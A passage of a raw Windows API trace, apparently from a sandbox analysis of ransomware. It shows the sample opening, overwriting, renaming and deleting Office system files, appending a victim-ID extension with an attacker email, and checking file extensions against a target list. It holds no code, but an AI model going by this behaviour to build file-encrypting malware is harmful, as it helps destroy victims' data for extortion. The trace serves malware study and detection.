files\\microsoft shared\\office14\\riched20.dll")) returned 0x20 [0192.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0192.292] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0192.293] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0192.293] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fc6c | out: lpNewFilePointer=0x0) returned 1 [0192.293] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fc2c | out: lpNewFilePointer=0x0) returned 1 [0192.293] ReadFile (in: hFile=0x1d8, lpBuffer=0x4030058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x364fc38, lpOverlapped=0x0 | out: lpBuffer=0x4030058*, lpNumberOfBytesRead=0x364fc38*=0x40000, lpOverlapped=0x0) returned 1 [0192.297] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x983cd, lpNewFilePointer=0x0, dwMoveMethod=0x364fc2c | out: lpNewFilePointer=0x0) returned 1 [0192.297] ReadFile (in: hFile=0x1d8, lpBuffer=0x4070058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x364fc38, lpOverlapped=0x0 | out: lpBuffer=0x4070058*, lpNumberOfBytesRead=0x364fc38*=0x40000, lpOverlapped=0x0) returned 1 [0192.303] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x364fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0192.303] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x188b68, lpNewFilePointer=0x0, dwMoveMethod=0x364fc2c | out: lpNewFilePointer=0x0) returned 1 [0192.303] ReadFile (in: hFile=0x1d8, lpBuffer=0x40b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x364fc38, lpOverlapped=0x0 | out: lpBuffer=0x40b0058*, lpNumberOfBytesRead=0x364fc38*=0x40000, lpOverlapped=0x0) returned 1 [0192.455] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.455] WriteFile (in: hFile=0x1d8, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x364fcb0, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x364fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0192.485] SetEndOfFile (hFile=0x1d8) returned 1 [0192.486] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x42f22b8 [0192.733] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fc7c | out: lpNewFilePointer=0x0) returned 1 [0192.733] WriteFile (in: hFile=0x1d8, lpBuffer=0x42f22b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x364fc88, lpOverlapped=0x0 | out: lpBuffer=0x42f22b8*, lpNumberOfBytesWritten=0x364fc88*=0x40000, lpOverlapped=0x0) returned 1 [0192.782] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x983cd, lpNewFilePointer=0x0, dwMoveMethod=0x364fc7c | out: lpNewFilePointer=0x0) returned 1 [0192.782] WriteFile (in: hFile=0x1d8, lpBuffer=0x42f22b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x364fc88, lpOverlapped=0x0 | out: lpBuffer=0x42f22b8*, lpNumberOfBytesWritten=0x364fc88*=0x40000, lpOverlapped=0x0) returned 1 [0192.784] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x188b68, lpNewFilePointer=0x0, dwMoveMethod=0x364fc7c | out: lpNewFilePointer=0x0) returned 1 [0192.784] WriteFile (in: hFile=0x1d8, lpBuffer=0x42f22b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x364fc88, lpOverlapped=0x0 | out: lpBuffer=0x42f22b8*, lpNumberOfBytesWritten=0x364fc88*=0x40000, lpOverlapped=0x0) returned 1 [0192.786] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f22b8 | out: hHeap=0x5c0000) returned 1 [0192.790] CloseHandle (hObject=0x1d8) returned 1 [0192.790] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0192.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL") returned 68 [0192.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL") returned 68 [0192.790] lstrlenW (lpString=".doc") returned 4 [0192.790] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0192.790] lstrlenW (lpString=".docx") returned 5 [0192.790] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0192.790] lstrlenW (lpString=".pdf") returned 4 [0192.790] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0192.790] lstrlenW (lpString=".xls") returned 4 [0192.790] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0192.790] lstrlenW (lpString=".xlsx") returned 5 [0192.790] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0192.790] lstrlenW (lpString=".ppt") returned 4 [0192.790] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0192.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL") returned 68 [0192.791] lstrlenW (lpString=".zip") returned 4 [0192.791] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0192.791] lstrlenW (lpString=".rar") returned 4 [0192.791] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0192.791] lstrlenW (lpString=".bz2") returned 4 [0192.791] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0192.791] lstrlenW (lpString=".7z") returned 3 [0192.791] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0192.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL") returned 68 [0192.791] lstrlenW (lpString=".dbf") returned 4 [0192.791] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0192.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL") returned 68 [0192.791] lstrlenW (lpString=".1cd") returned 4 [0192.791] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0192.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL") returned 68 [0192.791] lstrlenW (lpString=".jpg") returned 4 [0192.791] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0192.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL") returned 68 [0192.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL") returned 68 [0192.791] lstrlenW (lpString=".doc") returned 4 [0192.791] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0192.791] lstrlenW (lpString=".docx") returned 5 [0192.791] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0192.791] lstrlenW (lpString=".pdf") returned 4 [0192.791] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0192.791] lstrlenW (lpString=".xls") returned 4 [0192.791] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0192.791] lstrlenW (lpString=".xlsx") returned 5 [0192.792] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0192.792] lstrlenW (lpString=".ppt") returned 4 [0192.792] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0192.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL") returned 68 [0192.792] lstrlenW (lpString=".zip") returned 4 [0192.792] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0192.792] lstrlenW (lpString=".rar") returned 4 [0192.792] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0192.792] lstrlenW (lpString=".bz2") returned 4 [0192.792] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0192.792] lstrlenW (lpString=".7z") returned 3 [0192.792] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0192.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL") returned 68 [0192.792] lstrlenW (lpString=".dbf") returned 4 [0192.792] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0192.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL") returned 68 [0192.792] lstrlenW (lpString=".1cd") returned 4 [0192.792] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0192.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL") returned 68 [0192.792] lstrlenW (lpString=".jpg") returned 4 [0192.792] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0192.792] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0192.792] lstrlenW (lpString="OSPPC.DLL") returned 9 [0192.792] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0193.786] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x364ff1c | out: lpFileSize=0x364ff1c*=148736) returned 1 [0193.786] CloseHandle (hObject=0x220) returned 1 [0193.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll")) returned 0x20 [0193.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0193.786] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0193.786] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.786] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.786] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0193.787] GetLastError () returned 0x0 [0193.787] ReadFile (in: hFile=0x220, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fed4, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x364fed4*=0x24500, lpOverlapped=0x0) returned 1 [0193.966] WriteFile (in: hFile=0x1f4, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0x24510, lpNumberOfBytesWritten=0x364fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x364fc9c*=0x24510, lpOverlapped=0x0) returned 1 [0193.969] ReadFile (in: hFile=0x220, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fed4, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x364fed4*=0x0, lpOverlapped=0x0) returned 1 [0193.969] WriteFile (in: hFile=0x1f4, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x364fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x364fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0193.969] SetEndOfFile (hFile=0x1f4) returned 1 [0193.969] CloseHandle (hObject=0x1f4) returned 1 [0193.969] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.969] SetEndOfFile (hFile=0x220) returned 1 [0193.971] CloseHandle (hObject=0x220) returned 1 [0193.971] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0193.971] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll")) returned 1 [0193.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL") returned 89 [0193.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL") returned 89 [0193.971] lstrlenW (lpString=".doc") returned 4 [0193.971] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0193.971] lstrlenW (lpString=".docx") returned 5 [0193.971] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0193.971] lstrlenW (lpString=".pdf") returned 4 [0193.971] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0193.971] lstrlenW (lpString=".xls") returned 4 [0193.971] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0193.971] lstrlenW (lpString=".xlsx") returned 5 [0193.972] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0193.972] lstrlenW (lpString=".ppt") returned 4 [0193.972] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0193.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL") returned 89 [0193.972] lstrlenW (lpString=".zip") returned 4 [0193.972] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0193.972] lstrlenW (lpString=".rar") returned 4 [0193.972] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0193.972] lstrlenW (lpString=".bz2") returned 4 [0193.972] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0193.972] lstrlenW (lpString=".7z") returned 3 [0193.972] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0193.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL") returned 89 [0193.972] lstrlenW (lpString=".dbf") returned 4 [0193.972] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0193.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL") returned 89 [0193.972] lstrlenW (lpString=".1cd") returned 4 [0193.972] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0193.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL") returned 89 [0193.972] lstrlenW (lpString=".jpg") returned 4 [0193.972] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0193.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL") returned 89 [0193.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL") returned 89 [0193.972] lstrlenW (lpString=".doc") returned 4 [0193.972] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0193.972] lstrlenW (lpString=".docx") returned 5 [0193.972] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0193.972] lstrlenW (lpString=".pdf") returned 4 [0193.972] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0193.972] lstrlenW (lpString=".xls") returned 4 [0193.973] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0193.973] lstrlenW (lpString=".xlsx") returned 5 [0193.973] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0193.973] lstrlenW (lpString=".ppt") returned 4 [0193.973] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0193.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL") returned 89 [0193.973] lstrlenW (lpString=".zip") returned 4 [0193.973] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0193.973] lstrlenW (lpString=".rar") returned 4 [0193.973] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0193.973] lstrlenW (lpString=".bz2") returned 4 [0193.973] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0193.973] lstrlenW (lpString=".7z") returned 3 [0193.973] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0193.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL") returned 89 [0193.973] lstrlenW (lpString=".dbf") returned 4 [0193.973] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0193.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL") returned 89 [0193.973] lstrlenW (lpString=".1cd") returned 4 [0193.973] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0193.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL") returned 89 [0193.973] lstrlenW (lpString=".jpg") returned 4 [0193.973] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0193.973] lstrcmpiW (lpString1=".MOF", lpString2=".wiki") returned -1 [0193.973] lstrlenW (lpString="OSPPWMI.MOF") returned 11 [0193.973] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0193.974] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x364ff1c | out: lpFileSize=0x364ff1c*=47710) returned 1 [0193.974] CloseHandle (hObject=0x220) returned 1 [0193.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof")) returned 0x20 [0193.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0193.974] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0193.974] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.974] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.974] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0193.975] GetLastError () returned 0x0 [0193.975] ReadFile (in: hFile=0x220, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fed4, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x364fed4*=0xba5e, lpOverlapped=0x0) returned 1 [0194.012] WriteFile (in: hFile=0x1f4, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xba60, lpNumberOfBytesWritten=0x364fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x364fc9c*=0xba60, lpOverlapped=0x0) returned 1 [0194.014] ReadFile (in: hFile=0x220, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fed4, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x364fed4*=0x0, lpOverlapped=0x0) returned 1 [0194.014] WriteFile (in: hFile=0x1f4, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x364fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x364fc9c*=0xea, lpOverlapped=0x0) returned 1 [0194.014] SetEndOfFile (hFile=0x1f4) returned 1 [0194.014] CloseHandle (hObject=0x1f4) returned 1 [0194.014] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.014] SetEndOfFile (hFile=0x220) returned 1 [0194.015] CloseHandle (hObject=0x220) returned 1 [0194.015] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.016] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof")) returned 1 [0194.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF") returned 91 [0194.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF") returned 91 [0194.016] lstrlenW (lpString=".doc") returned 4 [0194.016] lstrcmpiW (lpString1=".doc", lpString2=".MOF") returned -1 [0194.016] lstrlenW (lpString=".docx") returned 5 [0194.016] lstrcmpiW (lpString1=".docx", lpString2="I.MOF") returned -1 [0194.016] lstrlenW (lpString=".pdf") returned 4 [0194.016] lstrcmpiW (lpString1=".pdf", lpString2=".MOF") returned 1 [0194.016] lstrlenW (lpString=".xls") returned 4 [0194.016] lstrcmpiW (lpString1=".xls", lpString2=".MOF") returned 1 [0194.016] lstrlenW (lpString=".xlsx") returned 5 [0194.016] lstrcmpiW (lpString1=".xlsx", lpString2="I.MOF") returned -1 [0194.016] lstrlenW (lpString=".ppt") returned 4 [0194.016] lstrcmpiW (lpString1=".ppt", lpString2=".MOF") returned 1 [0194.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF") returned 91 [0194.016] lstrlenW (lpString=".zip") returned 4 [0194.016] lstrcmpiW (lpString1=".zip", lpString2=".MOF") returned 1 [0194.016] lstrlenW (lpString=".rar") returned 4 [0194.016] lstrcmpiW (lpString1=".rar", lpString2=".MOF") returned 1 [0194.016] lstrlenW (lpString=".bz2") returned 4 [0194.016] lstrcmpiW (lpString1=".bz2", lpString2=".MOF") returned -1 [0194.016] lstrlenW (lpString=".7z") returned 3 [0194.016] lstrcmpiW (lpString1=".7z", lpString2="MOF") returned -1 [0194.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF") returned 91 [0194.016] lstrlenW (lpString=".dbf") returned 4 [0194.017] lstrcmpiW (lpString1=".dbf", lpString2=".MOF") returned -1 [0194.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF") returned 91 [0194.017] lstrlenW (lpString=".1cd") returned 4 [0194.017] lstrcmpiW (lpString1=".1cd", lpString2=".MOF") returned -1 [0194.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF") returned 91 [0194.017] lstrlenW (lpString=".jpg") returned 4 [0194.017] lstrcmpiW (lpString1=".jpg", lpString2=".MOF") returned -1 [0194.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF") returned 91 [0194.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF") returned 91 [0194.017] lstrlenW (lpString=".doc") returned 4 [0194.017] lstrcmpiW (lpString1=".doc", lpString2=".MOF") returned -1 [0194.017] lstrlenW (lpString=".docx") returned 5 [0194.017] lstrcmpiW (lpString1=".docx", lpString2="I.MOF") returned -1 [0194.017] lstrlenW (lpString=".pdf") returned 4 [0194.017] lstrcmpiW (lpString1=".pdf", lpString2=".MOF") returned 1 [0194.017] lstrlenW (lpString=".xls") returned 4 [0194.017] lstrcmpiW (lpString1=".xls", lpString2=".MOF") returned 1 [0194.017] lstrlenW (lpString=".xlsx") returned 5 [0194.017] lstrcmpiW (lpString1=".xlsx", lpString2="I.MOF") returned -1 [0194.017] lstrlenW (lpString=".ppt") returned 4 [0194.017] lstrcmpiW (lpString1=".ppt", lpString2=".MOF") returned 1 [0194.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF") returned 91 [0194.017] lstrlenW (lpString=".zip") returned 4 [0194.017] 